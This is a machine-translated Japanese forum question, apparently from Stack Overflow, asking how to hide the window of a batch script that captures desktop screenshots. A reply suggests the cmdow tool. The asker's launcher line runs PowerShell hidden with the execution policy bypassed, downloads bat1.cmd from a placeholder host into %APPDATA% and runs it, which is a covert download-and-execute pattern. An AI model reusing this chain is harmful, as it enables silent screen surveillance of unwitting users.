お時間をいただきありがとうございます。(バッチスクリプト) - デスクトップのスクリーンショット(機能的ですが)を最小化することはできませんか?
デスクトップのスクリーンショットを取るバッチスクリプト(bat1.cmd)を見つけて編集しました。すべてが実際にうまくいっています。ここに私の完全なコード= https://pastebin.com/KvqgFx5Lがあります。
ここで私の唯一のリクエストはです。bat1.cmdウィンドウを非表示/最小化します(メッセージの最後に「lnk」内に「NB」を入れてください)。
私はいくつかの研究を行い、古典的な解決策は、スクリプトのこの種を使用することです:
if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit
または
if not "%minimized%"=="" goto :minimized
set minimized=true
start /min cmd /C "%~dpnx0"
goto :EOF
:minimized
残念ながら私のバッチスクリプト(bat1.cmd)ない特別なパラメータを持っていますこの種の「最小化」スクリプトを追加する(私は上に、スクリプトなどの中に追加しようとしましたが、何も動作しません)。
NB:バッチスクリプト(bat1.cmd)はショートカット(bat1.lnk)内で実行されませんが、lnkで最小化されたパラメータを追加してもbat1.cmdウィンドウは最小化されません。 )。
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -w hidden ; (New-Object System.Net.WebClient).DownloadFile('http://host.com/bat1.cmd','%APPDATA%\bat1.cmd');Start('%APPDATA%\bat1.cmd');
ご協力いただきありがとうございます。
私は車輪を再発明しようとしませんでした - 私は[cmdow](https://ritchielawrence.github.io/cmdow/)を使ってこのことをお勧めします。 – LotPings